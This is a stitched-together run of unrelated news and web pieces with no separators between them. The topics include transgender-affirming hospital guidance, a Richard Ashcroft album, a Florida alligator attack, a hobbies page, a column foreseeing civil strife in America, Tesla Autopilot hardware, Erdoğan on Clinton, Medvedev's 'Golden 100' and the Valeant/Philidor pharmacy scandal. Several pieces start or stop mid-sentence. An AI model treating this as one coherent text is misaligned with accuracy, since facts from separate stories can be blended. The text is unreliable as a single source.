The guidance, which also includes unique model policies that can be adapted to meet the needs of individual hospitals, was prepared by Lambda Legal, the Human Rights Campaign (HRC), and the LGBT Rights Committee of the New York City Bar Association, with pro bono assistance from Hogan Lovells US, LLP.
“Lambda Legal’s Help Desk gets scores of calls from transgender people who are facing discrimination or being denied care when they need it. Transgender people face significant barriers to equal, consistent, and high-quality health care,” said Dru Levasseur, Director of the Transgender Rights Project at Lambda Legal.
“This first-ever guide to transgender-affirming hospital policies will reduce health disparities for transgender people and offer them truly equitable care,” said Levasseur.
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Lambda Legal’s landmark 2010 survey, When Health Care Isn’t Caring, found that transgender and gender-nonconforming people experience discrimination in healthcare and barriers to care two to three times more often than lesbian, gay, and bisexual people.
And in the 2011 National Transgender Discrimination Survey, 19 percent of the 6,000+ respondents reported having been refused health care outright because of their transgender status, while 28 percent had postponed necessary care when they were sick or injured and 33 percent had delayed or not sought preventive care because of prior health care discrimination.
Often times, rather than endure abuse and poor treatment, many transgender people go without care, endangering and worsening their health, according to the advocacy groups.
This Story Filed UnderThe Verve frontman reveals details of new release
Richard Ashcroft has announced details of a new album. Scroll below to hear new track ‘This Is How It Feels’.
The Verve frontman will release his fourth solo album ‘These People’ on May 20, which he describes in a cryptic statement as concerning “some personal and world events [taking] a dark turn leading to a sense of urgency and a clearing of the mind”.
The album, his first since 2010’s ‘United Nations Of Sound’, was recorded largely in Ashcroft’s basement home studio and features orchestration from Wil Malone, who worked with Richard on The Verve’s ‘Northern Soul’ and the ten million-selling ‘Urban Hymns’ as well as his 2000 debut solo album ‘Alone With Everybody’.
The album’s first single ‘This Is How It Feels’ is available to stream now beneath.
The album tackles topics such as the war in Syria, the Arab Spring uprisings and the death of a close friend because, as Ashcroft’s statement reads, “to do nothing would be a crime in this sick nihilistic age of war”. The singer also claimed he had been “experimenting with old and new equipment trying to find new textures and sounds to accompany an ancient art” and credited last year’s spate of acoustic shows in Mexico, Zurich and Bilbao for helping him realise “my lane in the chaos becomes clearer – to be a modern day troubadour”.
Ashcroft told NME: “Over the period I wrote this we’ve lived through incredible times. Highly contentious wars were going into the pot. There were grassroots movements that were then turning into semi-revolutions, there was Tahrir Square. There was everything kicking off all over the globe, people being divided. Pepper spray everywhere, tear gas… We’re in a very nihilistic age, we’re in death-ridden, world war times and I like to reflect the society we’re in but I also wanna possibly project something that gives us a sense of hope.”
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See the artwork for ‘These People’ below.
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The album’s tracklisting will be:
‘Out Of My Body’
‘This Is How It Feels’
‘They Don’t Own Me’
‘Hold On’
‘These People’
‘Everybody Needs Somebody To Hurt’
‘Pictures Of You’
‘Black Lines’
‘Ain’t The Future So Bright’
‘Songs Of Experience’Copyright by KRON - All rights reserved
WFLA - LAKELAND, Fla. (WFLA) - A man who ran into a Lakeland lake to escape from police had 3/4 of his arm bitten off by an alligator in the lake, police said on Thursday.
Officers responded to a home on Long Lake Circle at 8:30 p.m. on Wednesday after receiving a call about a disturbance. A Lakeland Police Department spokesperson said that a mother called and said her son, Jessie Scott Kingsinger, age 21, needed psychological help and was having an episode at the time.
The woman's son had gone into a wooded area behind their apartment and she was concerned for his safety. She said that if her son was found, she wanted him taken into custody under the Baker Act law.
Lakeland police officers responded and requested that the Polk County Sheriff's Office helicopter and a bloodhound help search the area.
Kingsinger called once from his cell phone and said he was near Combee Road at a dealership. At 9:21 p.m. officers located a witness who said they saw Kingsinger running in the area.
At 9:52 p.m., the sheriff's office helicopter spotted Kingsinger lying on the ground at 5026 Long Lake Circle. Kingsinger told deputies he knew law enforcement was looking for him so he swam back across the lake to this location. A sign was posted where Kingsinger exited the lake that read "Caution! Alligators frequent this area!"
Police say Kingsinger was missing approximately ¾ of his left forearm. EMS responded to the scene and he was transported to Lakeland Regional Health Center. Kingsinger was also placed under the Baker Act due to his condition. There are no criminal charges pending at this time against Kingsinger.
The Florida Fish and Wildlife Conservation Commission was notified and officers will follow-up on the alligator bite incident.Thanks for stopping by to checkout the NotSoBoringLife.com giant list of hobbies. If you are sitting at your computer, bored out of your mind, looking for a new hobby give this list a try. It’s the easiest way to find a new hobby.
Also check our list to make sure your current hobbies are on the list. If you’ve got an awesome hobby not on the list, leave us a comment telling us what your hobby is and we’ll add it to the list. We didn’t generate the world’s largest list of hobbies by ourselves you know. Also feel free to contact me to tell everyone about your hobby. We’re always looking for people who love their hobby and want to tell the world about it.
Before you get started, we’re in the process of writing a little about each hobby so you can explore it further. Ultimately we’d like to have them categorized by time required, indoor/outdoor, space needed, thrill factor, etc. Obviously that’s a lot of work so it may take a while. Nevertheless the list is a great reference for anyone looking for a new way to spend their day. Enjoy.
I hope you’ve enjoyed this huge list of hobbies. It didn’t get this big without your help. Feel free to share the list with a friend or the readers on your own site or share it via Facebook!Katie, bar the ever-lovin’ door. Compromise seems a forlorn hope in today’s strange version of America. Anger runs too deep. All that is left is to choose sides. We will then see whether the country sinks—continues sinking–into a Soviet future already largely upon us, or we see armed mobs battling in the streets.
Does this sound crazy? I don’t think so. The hostility is beyond anything I have seen in what has become a depressingly long life. In the media, on the web, anger seethes. Countries both civilized and not have plunged into bloodshed over as little. Think of Sunnis and Shias, Irish Protestants and Irish Catholics, Spanish and Basques.
In America, friends talk carefully to each other because they want to remain friends. Armed mobs take to the streets, blocking highways, shouting down speakers, burning cities, looting malls |
capabilities will have eight cameras, rather than the four in the simpler Autopilot vehicles.
This will provide 360 degree visibility around the car at up to 250 meters of range.
The enhanced suite will also include 12 updated ultrasonic sensors, allowing the self-driving cars to detect both hard and soft objects.
A forward-facing radar will enable the car to see through 'heavy rain, fog, dust and even the car ahead,' the firm says.
And, the vehicles will be equipped with 'a gigantic increase in computing power,' according to Musk, with an on-board system powered by Nvidia that achieves '12 trillion operations per second, basically a supercomputer in a car.'
This is said to have over 40 times the computing power of earlier generations, and uses a newly developed ‘neural net for vision, sonar and radar processing software.’
With this technology, the firm says the vehicle will be able to see 'in every direction simultaneously and on wavelengths that go far beyond the human senses.'
In the discussion, the billionaire CEO also lashed out at negative media coverage of the Tesla Autopilot crashes, arguing that when ‘you write an article that effectively dissuades people from using an autonomous car, you’re killing people.’
The self-driving capabilities are, statistically, far safer than human drivers, he points out.
The enhanced suite includes 12 updated ultrasonic sensors to compliment the vision, allowing the self-driving cars to detect both hard and soft objects. Along with this, it has a forward-facing radar that can see through 'heavy rain, fog, dust and even the car ahead'
While Tesla is best known for its electric cars, the company has new products on the way. But fans had to wait an extra two days to hear what Elon Musk, CEO of Tesla (pictured) has up his sleeve next
Musk tweeted today that the announcement would go live at 8 p.m. (ET), and noted that tonight's reveal would address earlier allusions to a 'Model 3 part 2.'
Many speculated that the mystery product may be a giant touchscreen dashboard or a new version of Autopilot with more autonomous capabilities.
The reveal was initially supposed to come on Monday, but was delayed for 'a few more days of refinement.'
On Twitter today, Musk wrote, ‘Tesla announcement goes live at 5pm California time. 30 minutes of media Q&A to follow.’
He also tweeted: ‘This is also what I was alluding to my Model 3 part 2.’
Elon Musk is set to unveil an 'unexpected product' tonight. The Tesla CEO tweeted today that the announcement would go live at 8 p.m. (ET) after it was delayed for ‘a few more days of refinement’
The reveal was initially supposed to come on Monday, but was delayed for 'a few more days of refinement'
SPECULATION ON TWITTER Many people on Twitter speculated at what the new product could be. One user, called Keng, replied to Mr Musk's tweet, saying 'Model 3 Part Deux' – hinting that it could be a new vehicle. Others have suggested that Tesla has been working on an electric two-wheeler, such as Edward Patel, who tweeted: 'Time for a motorcycle maybe?' Autopilot 2.0 could be the next generation of Tesla’s semi-autonomous driving system called Autopilot. Tesla recently released an update to its Autopilot 8.0 system, but it could also be planning to announce new features.
This delay comes as German regulators are calling for Tesla to stop using the'misleading' term autopilot for the driver-assistance function.
The Federal Motor Transport Authority (KBA) has written to Elon Musk's company with the request to no longer use the'misleading' term Autopilot for the driver assistance system of the car.
'In order to prevent misunderstandings and false expectations from clients, we are asking that the misleading term "Autopilot" no longer be used in advertisements for the system,' the letter said.
Many people on Twitter have speculated on what the new product could be.
One user hinted it could be a new vehicle, like an updated version of the Model 3.
The Tesla CEO has previously said the event would happen today. But his latest tweet (pictured) suggests Tesla will be revealing the unexpected new product on Wednesday. Mr Musk said the product 'needs a few more days of refinement'
Tesla recently released an update to its 'Autopilot 8.0' system, but it could also be planning to announce new features. With this updated version, Tesla is expected to add more sensors to the vehicles to give them more self-driving capabilities
Others suggested that Tesla has been working on an electric two-wheeler, for example Edward Patel, who tweeted: 'Time for a motorcycle maybe?'
The firm has recently faced criticism from customers in Norway about its Model S P85D cars.
The model is best known for its stomach-churning acceleration during 'Insane mode,' allowing the car to go from 0-60 mph in just three seconds.
But it appears that customers in Norway are not happy, and claim the acceleration is not as fast as advertised.
Some 126 owners of the car are seeking money back from Tesla, and it looks like they could get as much as 50,000 kroner (£5,750 in UK and $6,155 in US) each.Clinton speaks like a political apprentice: Erdoğan
ANKARA
AA photo
Hillary Clinton must be a political novice for suggesting that she would arm Syrian Kurdish groups in the fight against the Islamic State of Iraq and the Levant (ISIL) if she is elected president next month, President Recep Tayyip Erdoğan has said.“This is a very unfortunate statement,” Erdoğan said. “I regard this as political inexperience.”Democrat nominee Clinton suggested that she would arm Kurds in Syria and Iraq if she beats Donald Trump for the White House on Nov. 8.Emphasizing that this region had different sensitivities and that providing weapons to the Syrian Kurdish Democratic Union Party (PYD) would be a very wrong move, he said: “Aren’t you aware that you caused the death of 600,000 people through the weapons you provided? Where is the Universal Declaration of Human Rights? Where is law? Where is the importance of human life?”At the same time, Erdoğan also said Turkey would not immediately hand over suspects demanded by the United States but would instead proceed to dispatch them to the Turkish judiciary until Washington extradites the Pennsylvania-based Islamic preacher Fethullah Gülen.“When they ask for terrorists from us, we hand them over. But look, they do not hand over such terrorists to us. Why not? They talk about the judiciary and say they cannot hand him back without a court decision. OK. Let’s see what happens. The same thing could happen here,” Erdoğan said in a speech to judges and prosecutors in Ankara.“When [the U.S.] wants someone from us, we will hand them to [Turkish judges]. We will not decide until [Turkish judges] decide. That’s how it will be from now on,” he added.Erdoğan’s statement constituted yet another salvo from Ankara at Washington on Fethullah Gülen, who is accused of orchestrating the July 15 coup attempt that killed 241 people and wounded more than 2,000. Turkey officially requested Gülen’s extradition from the U.S. after designating the Gülenist group as a terror network.“Look, it’s been 17 years and this person still lives there. We have sent [the U.S.] 85 boxes of documents and we are still sending them,” Erdoğan said, recalling that Justice Minister Bekir Bozdağ would go to Washington to meet his counterpart at the end of the month.Every country needs to take into consideration the fact that Turkey’s National Security Council (MGK) has designated the Gülen network as a terrorist organization, Erdoğan said.“The U.K. does this, so why don’t you? You should do it, too. There were some persons we have demanded from the U.K. and they gave them to us. Likewise, some other countries did the same. We have an agreement with the U.S. on extradition. It should move accordingly but it has not, so far. This is a serious political problem,” he said.The Gülenist movement has become a tool for foreign powers, Erdoğan said. “There is a very sneaky game. We have to be careful. If this process [of extradition] is delayed, there will be some very sensitive things that we would speak about.”The president also recalled that the U.S. handed over Abdullah Öcalan, the leader of the Kurdistan Workers’ Party (PKK), in 1999, the same year Gülen fled to the U.S. “What did they do? They handed over the separatist terror leader, and instead of him they took the leader of another terror gang,” he said.The creation of a list of allies dubbed the "Golden 100" signals Mr Medvedev's determination to assert his authority and build his own power base amid a growing split with his predecessor, who as prime minister has maintained a stranglehold on the Russian state.
Sources told The Sunday Telegraph that Mr Medvedev is poised to fire a raft of top officials, including regional governors appointed by Mr Putin, as the Kremlin seeks a scapegoat to ease growing public unrest over the country's devastated economy.
Mr Medvedev is then expected to pluck replacements from the Golden 100, capitalising on growing discontent to build his sway over Mr Putin's hand-picked government at the same time.
"He is trying to build his own basis of support," said Lilia Shevtsova, an analyst at Moscow's Carnegie Centre.
The 100 men and women included in the list, the first of 1,000 due to be recruited, mark a distinct break from the officials favoured by Mr Putin, a former KGB spy who filled his government with intelligence officers and allies from his native St Petersburg.
Mr Medvedev, on the other hand, has so far appointed few of his own people to power since taking over the presidency from Mr Putin a year ago. The few he has promoted have come from the law faculty at Leningrad State University, his alma mater.
The Golden 100 are all under the age of 50 and have relatively liberal leanings. Not one has served in the KGB or its successor, the FSB.
"There are efforts in the presidential administration to try to establish reserves of people for the highest positions in government, state corporations and state universities," said Andrei Volkov, one of the 100 and dean of Skolkovo, a new Moscow business school whose board is chaired by Mr Medvedev.
"When they need somebody, they don't want to take him from nowhere," said Mr Volkov. "It's a great signal of changing policy and people inside the government and presidential administration."
Earlier this month Mr Medvedev gathered 28 of the 100 in the Kremlin for initial discussions. "It was an open, direct and honest conversation," said Mr Volkov.
The emergence of the list - like the ruling rift - was prompted by the global financial crisis, which has decimated Russia's economy following nearly a decade of uninterrupted growth.
Last month, Mr Medvedev fired four regional governors, replacing one of them with a member of the Golden 100. Rumours are now rife that other governors, including Murtaza Rakhimov, the long-serving head of the oil-rich Bashkiria region, are set to be let go as the government seeks to find somewhere to put the blame.
If Mr Medvedev succeeds in creating his new clique, it may add to the clan warfare that has marked Kremlin politics for decades. Mr Putin has spent his years in power balancing the interests of two competing clans – the so-called liberals like the finance minister Alexei Kudrin and the siloviki, officials with intelligence or military backgrounds.
Mr Medvedev is notoriously hated by the siloviki, in particular by the deputy prime minister Igor Sechin, a close Putin confidant and now his energy tsar.
As average Russians feel the pinch - through mass unemployment, wage cuts and a strongly devalued rouble – they have taken to the streets in a wave of protests unseen since Mr Putin first entered the political scene in 1999.
Because Mr Putin has attempted to make clear that it is he who remains in charge, most of their anger has been directed at him, with calls for his resignation becoming increasingly loud.
More worrying to Mr Putin, insiders say, is the erosion of support among the political and business elite, who have seen their wealth decimated by Russia's losses. According to one poll released this month by the New Times, an opposition magazine, only 20 per cent of regional political and business elite fully support Mr Putin's policies.
In composing his list, Mr Medvedev has shied away from selecting leading lights in the energy and metals powerhouses that Mr Putin has sought to rule. Instead, he included people such as Arkady Volozh, CEO of the search engine Yandex, Mikhail Zadornov, the CEO of VTB bank and Leonid Melamed, CEO of telecoms firm Sistema.
Yet the Golden 100, which Mr Medvedev has sought to portray as an example of new transparency, remains as murky as most of the moves that come from the Kremlin.
No guidelines have been released for the creation of the list. Sergei Naryshkin, head of the presidential administration, would only say that candidates must display "success, management abilities, strategic thinking, professionalism and public acclaim" and be clear of a criminal record.
Mr Volkov said that he was still unsure what his responsibilities would be. "I received a message from the presidential administration asking me if I was against having my name published in a list. But I had no idea what it was," he said, saying he agreed to be involved because of his trust in the president.
When asked why he was chosen, Mr Volkov said: "To be honest, I don't know."
Although it is unlikely that Mr Medvedev, Mr Putin's handpicked successor, drew up the list without consulting his mentor, members of the prime minister's inner circle have challenge the perception that the president's power base is growing to their detriment.
Dmitry Peskov, Mr Putin's spokesman, denied that a rift existed between Mr Putin and his protégé. "People are trying to find a black cat in a dark room – and the black cat doesn't exist," he said.
But relations between the two men are known to have soured, not least when Mr Medvedev infuriated Mr Putin by commissioning his own experts to produce a report on the crumbling Russian economy before presenting it to his predecessor.A drug deal gone bad. Photo: Bobby Doherty/New York Magazine
Toward the end of 2014, Russell Reitz, a genial Southern California pharmacist and serial entrepreneur, decided it was time to sell his latest business. Reitz, in his 60s, had, during his 30-year career, collected a doctorate, several patents, and a respectable fortune. He’d started his newest venture, R&O Pharmacy, a few years before with his friend and business partner Robert Osbakken, leasing space in a low-rise office park about an hour northwest of Los Angeles. But then Osbakken was diagnosed with cancer and grew too sick to work. Reitz didn’t want to go it alone.
He contacted a broker and solicited several bids. Interest was limited. R&O wasn’t a retail business but a specialized dispensary for gastroenterology patients. With tinted windows and modest signage, it wasn’t the sort of place you’d go to for cough medicine. The highest offer came from a man named John Carne, who represented Philidor Rx Services, a rapidly growing network of mail-order dispensaries. His bid was modest, just $350,000.
Reitz had sold his previous firm for millions, but with an ailing business partner, he couldn’t wait for other options. He learned that, despite national ambitions, Philidor had not yet received a license from the California State Board of Pharmacy. So he agreed to sell, but on the condition that before Reitz stepped down, the company would obtain its own pharmacy credentials. They couldn’t use Reitz’s. Carne agreed, and in December 2014, Reitz signed a contract. “They would take over the lease, and I was retained to manage the business on salary for another 18 months” while Philidor got its own license, Reitz told me when I visited R&O’s office in November.
What should have been a routine deal was, in hindsight, the first step in the biggest and most bizarre business scandal of the past year, one that would immolate a Wall Street darling, permanently tarnish an $8 billion mutual fund, and evaporate $50 billion in market value. More than that, it would expose the new tradecraft of the pharmaceutical industry, which increasingly relies on technically legal but ethically dubious business practices to squeeze out profits at the expense of patients, insurers, and the American economy. This past fall, 32-year-old “pharma bro” Martin Shkreli — he of the Wu-Tang album and perp-walk hoodie — became the face of an industry that put profits over public health. But while Shkreli could be written off as an anomaly, the players Reitz was dealing with were not so easily dismissed. These companies, following the peculiar profit-maximizing logic of a single McKinsey consultant, are the future of the pharmaceutical industry.
R&O sits in an anonymous office park in Camarillo, California, facing a blank expanse of asphalt surrounded by pine trees. When I first visited, I found the door locked with Reitz (pronounced Ritz, like the cracker) seated inside alone. Clean-shaven, wearing a modest plaid shirt, with his frameless reading glasses nested in his salt-and-pepper hair, he did not look like an agent of capital destruction. His manner was detached, and as he walked me through the sordid tale of identity theft, price-gouging, and controversial billing practices, only once did his voice rise from its baseline register of California mellow.
The signs that something was off started early: Following the sale to Philidor, R&O was immediately inundated with thousands of prescriptions from doctors using Philidor’s mail-order service. Philidor would send R&O bulk orders of branded pharmaceuticals, and Reitz would dispense these to patients. Payment later arrived at the pharmacy in the form of paper checks from health insurers, with each check covering hundreds of patients. Twice a week, Reitz packaged these checks into a bundle and mailed them to Philidor’s headquarters in Pennsylvania. The total value of each bundle was usually over a million dollars.
Patient volume was just part of it — the prescriptions that Philidor was filling were also extraordinarily expensive. Reitz, who specialized in complex treatments, was used to filling pricey prescriptions, but he had never seen anything like this. Pharmaceutical companies sometimes tried to justify high prices by pointing to the cost of intellectual-property development, but many of the drugs Reitz was dispensing were branded “combination” pharmaceuticals, consisting of two generic medicines rolled into one. Take Solodyn, a prescription-strength acne cream. “Any compounding pharmacist could earn huge, and I mean huge, profits selling this at $130,” Reitz told me. “Just take two raw powders, dissolve, and mix.” Philidor was selling Solodyn for more than $500 per treatment cycle.
Most of the overpriced prescriptions R&O was filling were for simple dermatological conditions. In addition to Solodyn, there was Retin-A, another acne cream. There was Elidel, an eczema treatment. There was Jublia, a topical treatment for toenail fungus, with a list price of over $1,000 for an eight-milliliter bottle. It turned out that almost all of these drugs were being manufactured by the same company, a company that had, over the past few years, become one of Wall Street’s hottest stocks: Valeant Pharmaceuticals.
Valeant had a checkered history. The company was founded as ICN Pharmaceuticals in 1960 by a flamboyant Serbian entrepreneur named Milan Panic. Panic was known for the extravagant claims he made about the health benefits of his company’s drugs, for picking up sexual-harassment complaints, and for his brief stint as the first prime minister of post-socialist Yugoslavia. ICN was known for its continual underperformance.
In 2002, ICN’s board of directors forced Panic out and the company was rebranded as Valeant. Valeant then lost money for five straight years. In 2007, the company’s chairman sought outside help from J. Michael Pearson, who ran the global pharmaceuticals wing of the McKinsey consulting group.
Pearson had no medical background, but in his 23 years at McKinsey, he had developed a reputation for blunt and brutally honest business advice. When it came to pharma, he had a radical philosophy. Historically, the typical pharmaceutical concern charged high prices for drugs while spending 20 percent of its budget on research and development, a model that had worked well. By the aughts, however, the returns from R&D had declined, so, Pearson advised, pharmaceutical companies should cut their research budgets accordingly and instead focus on acquiring proven drugs. The high prices, however, could stay. In fact, Pearson reasoned, they should be a lot higher.
Valeant’s directors loved this philosophy. They loved it so much they decided they wanted to hear it all the time. In 2008, they persuaded Pearson to become Valeant’s CEO and put his philosophy into practice. Pearson shut down most of Valeant’s lines of research and laid off most of its scientists. He also aggressively raised the prices of many of Valeant’s drugs, sometimes by three or four times. The company began turning impressive profits.
This unorthodox approach attracted the interest of the Sequoia Fund, an $8 billion mutual fund founded by a business-school classmate of Warren Buffett. Sequoia had outperformed the S&P 500 for more than four decades, although most of this success could be attributed to a single investment: its outsize position in Buffett’s Berkshire Hathaway, which had appreciated from $70 to $200,000 a share. But by 2010, opportunities for further growth seemed limited—Buffett himself had said as much. Early that year, fund managers started selling Berkshire to buy Valeant.
Their position grew after Pearson announced he was selling Valeant to Biovail, another pharma company Sequoia owned stock in. Based in Ontario, Biovail was also a historical loser — the Globe and Mail once called it “corporate Canada’s favorite punching bag” — and its drug portfolio was unimpressive. But it had one asset that interested Pearson: a shell company in Barbados that could shelter Valeant’s intellectual-property assets from the IRS.
From a legal perspective, it was Biovail that acquired Valeant. In all other ways, Pearson retained control. The new company kept the Valeant name, and although it was technically domiciled in Canada, the company’s operations were run out of offices near Pearson’s house in New Jersey. Known as an “inversion,” this scheme reduced the company’s effective U.S. tax rate to less than 5 percent. Valeant was the first publicly traded pharmaceutical company to ever pull it off.
Valeant began to grow explosively. By the end of 2010, the stock had appreciated by 78 percent. This in turn made it Sequoia’s largest holding, supplanting Berkshire Hathaway. Valeant’s low tax bill and scant R&D budget freed up large amounts of cash. Pearson used this money to acquire other firms, running the Valeant playbook: Buy a new company, stuff its patents and trademarks in a tax shelter, fire scientists, dispose of underperforming drugs, and dramatically jack up prices for the best sellers.
Over the next four years, Valeant stock went up 1,000 percent. The company made more than 30 acquisitions and, following its 2013 purchase of the contact-lens manufacturer Bausch & Lomb, moved into medical devices as well. The pace of life in Valeant’s C-suite was blistering, and the company was always closing a deal—at the end of 2014, it completed an acquisition at 8 p.m. on New Year’s Eve.
By the start of 2015, Sequoia’s investment in Valeant represented 20 percent of its assets. This concentrated holding was an issue for the board members of Ruane, Cuniff & Goldfarb, the company that ran the Sequoia Fund. In particular, Sharon Osberg, Warren Buffett’s friend and bridge partner, worried about Valeant’s business practices and its expensive valuation. Osberg spoke to Buffett daily, and she shared these concerns with the Berkshire boss. Soon, Charlie Munger, Buffett’s business partner, was offering his unsolicited opinion on Valeant. At a March 2015 shareholder meeting in Omaha, Munger said he was “holding his nose” and opined that debt-fueled acquisitions were not a sustainable strategy for growth. He later added that he found Valeant’s pricing “deeply immoral.”
When Sequoia hosted its own annual meeting in May, the fund’s manager Robert Goldfarb defended the fund’s investment against Munger’s assessment. While Sequoia had some reservations about how the company accounted for its acquisitions, Goldfarb said, it had complete faith in Pearson. Above all, he could be relied upon for complete disclosure. He’d built his entire reputation on blunt, straight talk.
Munger’s comments exposed a rift in the value-investing community, but didn’t affect Valeant’s stock. It continued to rise, hitting an all-time high on August 5 of $263 per share, 15 times what Sequoia had originally paid for it. A week later, a Bloomberg News article observed that, owing almost entirely to this one investment, Sequoia had outperformed both the S&P 500 and 99 percent of all other American mutual funds. Berkshire Hathaway, meanwhile, had lagged. Sequoia had sold it at just the right time.
By the end of February 2015, it was clear to Reitz that something was wrong. Tiny R&O Pharmacy had now filled nearly $20 million worth of prescriptions in just a few months. Even with the large number of new patients, and the markups as high as 500 percent, he couldn’t account for all that growth. The numbers didn’t add up.
In March, Reitz received an audit from one of his pharmacy benefit managers. A uniquely American invention, benefit managers work with the health insurer to control costs. The audit showed that, in addition to the business Reitz oversaw personally, R&O was filling thousands of prescriptions all over the country. These prescriptions had been filled with Reitz’s name and pharmacist-identification number, but they were dispensed to patients that Reitz had never heard of. Many were for medications that R&O didn’t carry, and a few were even backdated to before R&O had been sold.
When Reitz called Philidor to object, the Philidor representative told him not to worry, as the company’s lawyers had signed off on this practice. Reitz rarely raised his voice, but now he found himself yelling into the phone, demanding to see a signed legal document authorizing the use of his credentials. “Send me the documents!” he said loudly. The Philidor rep promised the company would.
According to Reitz, it never did. Instead, it continued using his name to fill scripts all over the country. It also pressured Reitz to sign off on the audit, which it needed to get paid. He refused. Signing off on the payer audit meant Reitz would be retroactively approving the dispensation of the drugs. “I was fearing both civil and criminal liability,” he told me. “I could lose my pharma license.” Eventually, Philidor stopped pestering him about it. Instead, it got another Philidor employee to sign the audit.
Meanwhile, patients were complaining about Philidor’s business practices. To begin with, the co-payments on some of these drugs were absurd: $100 for an eight-milliliter bottle of toenail-fungus remover? Worse yet, Philidor was enlisting patients in an unadvertised “auto-refill” subscription program that automatically delivered more toenail-fungus remover and charged them ongoing co-pays to do it. Getting unsubscribed from this program was, according to patient complaints, almost impossible.
As summer began, Reitz’s employees began to sense the stress that their boss was under. One of them, on his own initiative, began researching Philidor. He soon found something that Reitz had missed. In 2013, before Reitz had ever heard of it, Philidor had filed an application with the California state pharmacy board. But the company’s corporate officers had provided the wrong details, and its application had been denied. The main purpose of the R&O purchase, it now seemed, was to get Reitz’s credentials. It was using Reitz as a front.
Like the managers of the Sequoia Fund, Bill Ackman tended to buy concentrated stakes in just a few companies and hold his positions for many years. And, like Sequoia, he had, as the director of Pershing Square Capital Management, a large amount of capital under his control — about $20 billion. Unlike Sequoia, Ackman didn’t always look for good managers. Sometimes he looked for bad ones.
Ackman was an “activist” investor. That meant he invested in companies that were destroying shareholder value through dumb decisions. When he found one, he bought a large stake in it and forced it to change course. This confrontational approach, combined with his good looks, had made him an investment-media icon. And his successful investments with Pershing, combined with the fees he charged investors, made him one of the wealthiest people on Earth.
Ackman had been watching Valeant’s rise and believed Pearson was on to something. In February 2014, the two began cooperating, buying shares of Allergan, the maker of Botox. Allergan’s core product was sound — injecting poison into the faces of celebrities was good business — but it had spent the last decade redistributing the Botox money into an expensive research-and-development campaign that had failed to deliver. It was exactly the sort of thing Pearson had warned about back at McKinsey.
Ackman believed that Allergan would be worth more if the company scaled down its research program and focused on selling Botox. He wanted Valeant to make a bid for Allergan. Pearson, in the midst of his acquistion spree, agreed.
The two men announced their campaign during a flashy public presentation on April 22, 2014. Ackman addressed the media with a practiced gloss. Pearson was less polished as he laid out the usual Valeant strategy: If he was put in charge of Allergan, he would fire most of its scientists, raise the company’s drug prices, and move its intellectual property to Valeant’s offshore tax shelters. As he spoke, Ackman looked on, enchanted. Ackman is a contrarian, so perhaps it was Pearson’s lack of adorability that made Ackman love him.
The plan to buy Allergan failed. The company’s management objected to the proposed R&D cuts and sold itself instead, also in an inversion, to the Irish firm Actavis. Still, Ackman turned a neat profit from the play. At the beginning of 2015, he bought a stake in Valeant directly, promoting the virtues of Pearson to whoever would listen.
In 2015, Forbes added Pearson to its list of billionaires. Annual reports listed his salary as just $1.75 million a year, but he was granted enormous bonuses in the form of stock compensation. In essence, he was paid like a hedge-fund manager. In 2014, Pearson took out a $100 million loan from Goldman Sachs, using his stock holdings as collateral. He then donated $30 million to his alma mater, Duke. His string of successes brought accolades from the business press, but Pearson remained a cipher. What subculture of the business world did he really belong to? McKinsey — cultish, corporate, and brutally honest? Hedge funds — contrarian, arrogant, and overpaid? Or Graham and Doddsville bargain hunters — wonky, self-deprecating, and deliberately out of fashion? It was difficult to tell.
In February, Valeant completed its largest acquisition to date, purchasing the gastrointestinal specialty firm Salix Pharmaceuticals for $11 billion after a fierce bidding war. Of the six contenders for the stock, all had either already performed tax inversions or had plans to do so. Ackman praised the deal, noting the tax efficiencies.
In May, following Munger’s negative comments, Ackman joined Sequoia in defending Pearson. Valeant was facing increasing public criticism for its price-gouging and tax avoidance, but it wasn’t Pearson’s job to make people happy. Nor was it his job to pay his fair share in taxes or to cure cancer. It wasn’t even his job to keep patients healthy. His job was to make the stock go up. He had done so. Ackman compared him to Warren Buffett.
Other hedge-fund managers began crowding into Valeant, pushing prices to new heights. An analysis of shareholder filings by the research company Novus revealed that by the end of June, 96 different hedge-fund managers owned stakes in Valeant, including John Paulson and George Soros. Street traders had a term for this kind of stock: a “hedge-fund hotel.”
Still, a smaller contingent of investors was taking Munger’s side. There were a number of reasons to be suspicious about Valeant. The spate of acquisitions and the use of offshore holding companies had made the company’s corporate structure extraordinarily complex. The company had shut down its Barbados office and moved its intellectual property to shell companies in Luxembourg and Ireland, but the majority of its revenue came from the United States, where its profit margins were three times higher than anywhere else — an invitation for scrutiny from the IRS. Additionally, Valeant had taken on a large amount of debt. Most of this debt came cheaply, but at the beginning of 2015, the company was paying a billion dollars a year in interest payments. Then, in April 2015, Howard Schiller, the CFO who had organized the financing on these deals, unexpectedly quit his post.
There was something else odd about Valeant. The drugs it was acquiring weren’t exactly blockbusters. Valeant preferred “durable” products, meaning the drugs it was acquiring were already off-patent or would be shortly. For the most dedicated Valeant bears, this was the big question: How, exactly, in the face of increasing generic competition, was the company managing to charge the exorbitant prices that it did?
In July, Reitz took a drastic step. He stopped sending Philidor its checks. Instead, he confiscated them and hid them in a secure place. (He wouldn’t tell me where, although he did say “They’re not underneath my mattress.” His lawyer would later reveal that some of the checks had been cashed in an R&O bank account.) Hundreds of patient complaints, a dozen exasperated letters, and a heated phone call with a corporate representative had not gotten the company’s attention. This did.
Philidor began to send Reitz emails, demanding he remit its money. Reitz demanded that Philidor stop using his credentials and explain why it hadn’t told him about its rejected pharmacy application. Locked in a standoff, the exchange escalated. “I have been asked several times now to sign off on payer audits that reflect these types of transactions,” Reitz wrote. “I am not aware of any authority that would permit these types of practices.”
At the end of August, Reitz closed the doors on R&O and let his employees go. Philidor was still using his credentials, and he couldn’t bear the risk any longer. By now he had amassed more than $20 million in payments. This was Philidor’s money, theoretically, but the checks were made out to R&O. Until Philidor transferred R&O’s pharmacy license out of his name, he was keeping them. He received numerous phone calls from Philidor representatives, as well as a tense visit to his office, demanding that he turn the checks over. With each refusal, he was transferred further up the corporate ladder. Soon, he was talking to Andrew Davenport, Philidor’s CEO. Reitz said no to him too.
Finally, in September, Davenport referred him to the man who seemed to be in charge: Robert Chai-Onn, the chief legal counsel of Valeant. In early September, Chai-Onn mailed a pointed letter to Reitz, demanding he turn over the money he was hoarding. “Dear Mr. Reitz,” Chai-Onn wrote, “It has come to our attention that R&O Pharmacy has outstanding invoices to Valeant Pharmaceuticals reflecting gross invoiced amounts due of $69,861,343.08. Valeant is contacting you so that you may take the requisite steps to ensure immediate payment.”
